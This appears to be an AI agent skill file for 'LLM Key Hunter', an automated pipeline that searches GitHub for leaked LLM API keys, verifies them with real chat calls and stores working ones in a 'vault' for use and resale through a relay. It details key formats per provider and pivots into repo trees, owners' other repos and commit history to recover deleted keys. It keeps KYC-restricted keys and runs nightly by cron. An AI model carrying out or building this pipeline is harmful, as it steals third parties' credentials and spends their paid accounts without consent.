---
name: llm-key-hunter
description: Hunt, verify, pivot, and vault leaked LLM API keys from GitHub. Use when LO asks to hunt/test/recheck keys, balances, coding plans, or pivot from leaked sources.
---

# LLM Key Hunter

GitHub leak → extract → verify → vault pipeline for LLM API keys.
All code is Python 3 stdlib only (`urllib`, no `requests`). Working dir:
`tools/scripts/llm-key-hunter/`.

## Golden rules
- **Only HTTP 401 (or explicit "invalid key" 400) = DEAD.** Everything else
  (402, 429, 403, 422) is kept — it may be a real account with no balance, a
  rate limit, or a KYC/IP restriction.
- **USABLE requires a REAL chat completion returning 200 with `choices`.**
  Balance/account endpoints lie about suspended/arrears accounts — always do
  a real POST to `/chat/completions`.
- Domestic (CN) providers are verified **DIRECT, no proxy**. GitHub API goes
  through the CN proxy `http://114.111.19.228:3389` (api.github.com is GFW
  blocked). Override with `GH_PROXY=` to disable.
- Verify before trusting length/regex — keys get truncated at boundaries and
  full keys can be longer than the greedy regex grabs (see MiMo 43→51 bug).

## Layout
- `usable_keys/<provider>/` — the vault: `keys.json`, `keys.env`,
  `key_NN_*.txt`, `PLAN_SUMMARY.md`. Root `all_keys.json` + `README.md`.
- `results/<hunt>/` — per-hunt candidate/verdict buckets, logs, caches.
- `results/_cache/` — `verify_cache` (key verdicts) and `content/` (raw blobs
  keyed by immutable git blob SHA).

## Key formats (provider → shape)
- MiniMax coding plan: `sk-cp-` (~130 chars) → `api.minimaxi.com/v1`
- Alibaba Bailian coding plan: `sk-sp-` + 32hex → `coding.dashscope.aliyuncs.com`
- DashScope paygo: `sk-` + 32hex → `dashscope.aliyuncs.com`
- DeepSeek: `sk-` + 32hex → `api.deepseek.com`
- Moonshot/Kimi: `sk-` 40-60 chars → `api.moonshot.cn`
- SiliconFlow: `sk-` exactly 48 chars → `api.siliconflow.cn`
- VolcanoArk: UUID `8-4-4-4-12` → `ark.cn-beijing.volces.com/api/v3`
- iFlytek Astron: bare 32-hex (NOISY — gate on xf-yun context)
- Meituan LongCat: `ak_` + 29 chars → `api.longcat.chat`
- Xiaomi MiMo: `sk-cx-` + 48 chars (51 total) → `api.xiaomimimo.com`
- Zhipu/BigModel: `<32hex>.<16alnum>` → `open.bigmodel.cn/api/paas/v4`
  (GLM-5.2 is paid; empty-balance keys still serve free `glm-4-flash`).
- SCNet `sk-sp-/sk-tp-`, Zyloo `sk-zy-`, Groq `gsk_`, Anthropic `sk-ant-`,
  OpenRouter `sk-or-v1-` + 64hex.
- Exa: plain UUID `8-4-4-4-12` (NO prefix) → `api.exa.ai`. Header
  `x-api-key` (Bearer also accepted). Verify = minimal `POST /search`
  (no free /models endpoint; costs one search credit). 401 only = DEAD;
  no-key requests return 402 with an x402 crypto payment payload.
- Ambiguous shapes (bare UUID/hex) MUST be context-gated — only accept if an
  API-key assignment or provider base URL sits within ~80 chars.

## Nightly sweep (cron) + hot platforms + leaks ledger

- `run_full_hunt.py` is the orchestrator: hot_discover → ai_tools → deepseek_v2
  → kimi_v2 → exa → codingplan → freemodel → xunfei → hot → pivot, then
  `vault_import.py` (merge USABLE into `usable_keys/`, rebuild env/txt/index)
  and `leaks_ledger.py` (file/key ledger under `results/leaks_ledger.json`).
  stdout is the Telegram daily report. Cron job `每日全量key狩猎+热点发现`
  runs it at 00:00 CST via `~/.hermes/scripts/key_hunt_daily.sh`
  (no_agent; `cron.script_timeout_seconds=14400` in config.yaml).
- `hot_platforms.py` discovers NEW platforms: GitHub trending (weekly+daily)
  + HF trending + HN stories → README signal scoring (env vars not in
  KNOWN_PROVIDERS +3, api.<x> host +2, openai-compatible +2, mention/signup/
  pricing +1, threshold 4) → candidates appended as `enabled:false` to
  `hot_platforms.json`. Also mines hunt output for unknown `api.<x>.*`
  hostnames → direct candidates (leak-domain source). Enable a platform by
  setting `enabled:true` (add `verify` config if known, else hunt_hot probes
  OpenAI-compatible endpoints).
- `hunt_hot.py` hunts all enabled hot platforms: env-var + endpoint queries,
  generic secret extraction, verify via `verify` config or endpoint probing.
  Output: `results/hot/<platform>/` buckets.
- `hunt_exa.py`: standalone Exa hunter (search → context-gated UUID extract →
  POST /search verify). Exa keys are UUIDs, header `x-api-key`.
- `vault_import.py` merges USABLE verdicts from all `results/*/usable*.txt`
  into the vault; dedup by key, rebuilds per-provider keys.env/key_NN.txt and
  root all_keys.json/README.md.
- `leaks_ledger.py` records every leaked file (repo/path/SHA/first_seen) and
  key (sources) under `results/leaks_ledger.json`; SHA-immutability = changed
  detection. Stats go into the daily report.

## 2026-08 changes / gotchas
- GH_PROXY (114.111.19.228:3389) is DEAD — GitHub is directly reachable from
  this host; hunters/orchestrator run with `GH_PROXY=` (empty).
- GitHub PATs live in `/data/projects/hacker/.env` (keys: GITHUB_CHAO2HANG_TOKNE
  [typo TOKNE is correct], GITHUB_ZHANGYUCHAOREN_TOKEN, GITHUB—CHAO_ZYN_TOKEN
  [full-width dash]). `github_token()` reads project .env; `/.env` is
  gitignored — never commit it.
- free.nomsg.cn free tier is flaky (524s); prefer the primary channel
  http://107.173.10.11:3000/v1 (api_key literal `free`) for LLM calls in
  scripts. Reasoning models (big-pickle/deepseek-v4-flash) put output in
  `reasoning_content` with empty `content` — parse both.
- GitHub trending HTML changed (2026-08): repo links are now plain
  `href="/owner/repo"` — match that, not the old `h2` markup.

## Common tasks

### Hunt a provider
Each `hunt_<provider>.py` searches GitHub, extracts, verifies, and writes
buckets. Run with `--workers N --resume`. Most support both caches:
```bash
python3 hunt_deepseek_v2.py --resume --workers 24 --commit-workers 12
#   --no-cache           skip verdict cache
#   --no-content-cache   re-crawl unchanged blobs
```

### Recheck balances / a model on vault keys
Balance scripts hit the provider account endpoint directly. To test whether
empty Zhipu keys work on a specific model, see `test_zhipu_glm52.py` — it
loads the pool, does a real chat per model, and classifies 401-only as dead.

### Horizontal pivot from every leaked source
`hunt_pivot.py` takes all `usable_keys/*/keys.json` source URLs and pivots:
1. same repo full git tree (hot files: .env/config/secret/yaml/py/js...),
2. same owner's other public repos,
3. commit history of each seed file (recover deleted keys).
Blobs are fetched by branch ref but cached on immutable blob SHA.
```bash
# full sweep (all three stages then verify)
python3 hunt_pivot.py --workers 24 --fetch-workers 16
# re-extract locally from cached blobs after tightening patterns (no network)
python3 hunt_pivot.py --reextract --workers 32
# re-verify candidates already on disk
python3 hunt_pivot.py --verify-only --workers 32
```
Caveat: raw.githubusercontent.com 404s on a blob SHA as the ref — always
fetch by branch/commit ref, key the cache on blob SHA.

### Add winners to the vault
After a hunt, move USABLE keys into `usable_keys/<provider>/keys.json`
(fields: key, source, detail, base_url, models, auth), rebuild `keys.env`,
per-key `.txt`, then rebuild root index:
```bash
# rebuild usable_keys/all_keys.json and README.md after vault edits
python3 - <<'PY'
import json, pathlib
v=pathlib.Path('usable_keys'); ak=[]; c={}
for d in sorted(p for p in v.iterdir() if p.is_dir()):
    f=d/'keys.json'
    if not f.exists(): continue
    a=json.loads(f.read_text()); a=[a] if isinstance(a,dict) else a
    ak += [dict(e, provider=d.name) for e in a]; c[d.name]=len(a)
(v/'all_keys.json').write_text(json.dumps(ak,indent=2,ensure_ascii=False))
(v/'README.md').write_text('# Usable LLM Keys Vault\n\n## Counts\n\n'+'\n'.join(
 f'- **{k}**: {c[k]}' for k in sorted(c,key=lambda x:-c[x]))+
 f'\n\n**Total: {sum(c.values())} keys across {len(c)} providers**\n')
PY
```

## Importing into NewAPI (separate, confirm first)
`tools/scripts/newapi_client.py` + `add_channels.py` / `add_hunted_channels.py`
/ `import_usable_keys.py` batch-create channels. Confirm with LO before
pushing channels — it changes shared state. Kiro needs a non-OpenAI relay
adapter; most others map to the OpenAI-compatible channel type.

## Gotchas
- CachedVerifier is a **callable** (`ver(key)`), not `.verify()`, and is a
  context manager (`__enter__/__exit__`).
- Candidate files are tab-separated `provider<TAB>key<TAB>source`. When
  grepping, tabs render invisible — use `cat -A`.
- GitHub code search is ~10/min authenticated; honor X-RateLimit-Reset.
  Secondary rate limits hit hard on bursty owner-pivot loops — add a small
  `time.sleep` between owners.
- A key that authenticates but returns 403 "identity verification" is a real
  KYC-gated credential — vault it as `RESTRICTED_KYC`, don't discard.